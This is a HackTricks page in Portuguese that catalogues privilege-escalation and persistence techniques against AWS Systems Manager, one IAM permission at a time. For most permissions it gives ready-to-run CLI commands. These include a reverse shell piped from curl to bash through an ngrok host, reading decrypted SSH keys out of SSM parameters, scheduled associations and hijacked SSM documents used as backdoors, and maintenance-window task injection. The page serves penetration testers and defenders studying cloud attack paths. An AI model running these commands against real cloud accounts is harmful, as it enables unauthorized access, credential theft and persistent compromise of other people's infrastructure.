AWS - SSM Privesc

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

SSM

Para mais informações sobre SSM, verifique:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Um attacker com a permissão ssm:SendCommand pode executar comandos em instances que executam o Amazon SSM Agent e comprometer o IAM Role em execução dentro dele.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Caso você esteja usando esta technique para escalar privilégios dentro de uma instância EC2 já comprometida, você poderia simplesmente capturar o rev shell localmente com:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impacto Potencial: privesc direto para as roles IAM de EC2 anexadas a instâncias em execução com SSM Agents rodando.

ssm:StartSession

Um atacante com a permissão ssm:StartSession pode iniciar uma sessão tipo SSH em instâncias executando o Amazon SSM Agent e comprometer a IAM Role em execução dentro dela.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Para iniciar uma sessão você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potential Impact: Privesc direta para as funções IAM do EC2 anexadas às instâncias em execução com SSM Agents rodando.

Privesc to ECS

Quando ECS tasks rodam com ExecuteCommand enabled, usuários com permissões suficientes podem usar ecs execute-command para executar um comando dentro do container.
De acordo com the documentation isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “exec“ e o container alvo com SSM Session Manager. (SSM Session Manager Plugin necessário para isso funcionar)
Portanto, usuários com ssm:StartSession poderão obter um shell dentro de ECS tasks com essa opção enabled apenas executando:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potential Impact: privesc direta para os papéis ECSIAM anexados a tarefas em execução com ExecuteCommand habilitado.

ssm:ResumeSession

Um attacker com a permissão ssm:ResumeSession pode re-iniciar uma sessão tipo SSH em instances executando o Amazon SSM Agent com um estado de sessão SSM desconectado e comprometer o IAM Role executando dentro dela.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impacto Potencial: privesc direto para as EC2 IAM roles anexadas a instâncias em execução com SSM Agents rodando e sessões desconectadas.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Um attacker com as permissões mencionadas vai conseguir listar os SSM parameters e lê-los em clear-text. Nesses parameters você frequentemente pode encontrar informação sensível como SSH keys ou API keys.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impacto Potencial: Encontrar informação sensível dentro dos parâmetros.

ssm:ListCommands

Um atacante com esta permissão pode listar todos os commands enviados e, com sorte, encontrar informação sensível neles.

aws ssm list-commands

Impacto Potencial: Encontrar informações sensíveis dentro das linhas de comando.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Um atacante com estas permissões pode listar todos os commands enviados e ler a saída gerada, com sorte encontrando informações sensíveis nela.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impacto Potencial: Encontrar informação sensível dentro da saída das linhas de comando.

Using ssm:CreateAssociation

Um atacante com a permissão ssm:CreateAssociation pode criar uma State Manager Association para executar automaticamente comandos em instâncias EC2 gerenciadas por SSM. Essas associations podem ser configuradas para serem executadas em um intervalo fixo, tornando-as adequadas para persistência tipo backdoor sem sessões interativas.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Este método de persistence funciona desde que a instância EC2 seja gerenciada pelo Systems Manager, o agente SSM esteja em execução e o atacante tenha permissão para criar associations. Ele não requer sessões interativas nem permissões explícitas de ssm:SendCommand. Importante: o parâmetro --schedule-expression (por exemplo, rate(30 minutes)) deve respeitar o intervalo mínimo de 30 minutes do AWS. Para execução imediata ou única, omita --schedule-expression completamente — a association será executada uma vez após a criação.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Um atacante com as permissões ssm:UpdateDocument e ssm:UpdateDocumentDefaultVersion pode escalar privilégios modificando documentos existentes. Isso também permite persistence dentro desse document. Na prática, o atacante também precisaria de ssm:ListDocuments para obter os nomes de custom documents e, se o atacante quiser ofuscar seu payload dentro de um documento existente, ssm:GetDocument também seria necessário.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Abaixo está um documento de exemplo que pode ser usado para sobrescrever um documento existente. Você vai querer garantir que o tipo do seu documento corresponda ao tipo dos documentos de destino para evitar issues com invocação. O documento abaixo, por exemplo, usará os exemplos ssm:SendCommand e ssm:CreateAssociation.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Um attacker com as permissões ssm:RegisterTaskWithMaintenanceWindow e ssm:RegisterTargetWithMaintenanceWindow pode escalonar privilégios registrando primeiro um novo target em uma maintenance window existente e depois atualizando registrando uma nova task. Isso permite execução nos targets existentes, mas pode permitir que um attacker comprometa compute com diferentes roles ao registrar novos targets. Isso também permite persistence, pois tasks de maintenance windows são executadas em um intervalo predefinido durante a criação da window. Na prática, o attacker também precisaria de ssm:DescribeMaintenanceWindows para obter os IDs da maintenance window.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

Você também pode usar SSM para entrar em um projeto codebuild que está sendo construído:

AWS - Codebuild Privesc

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks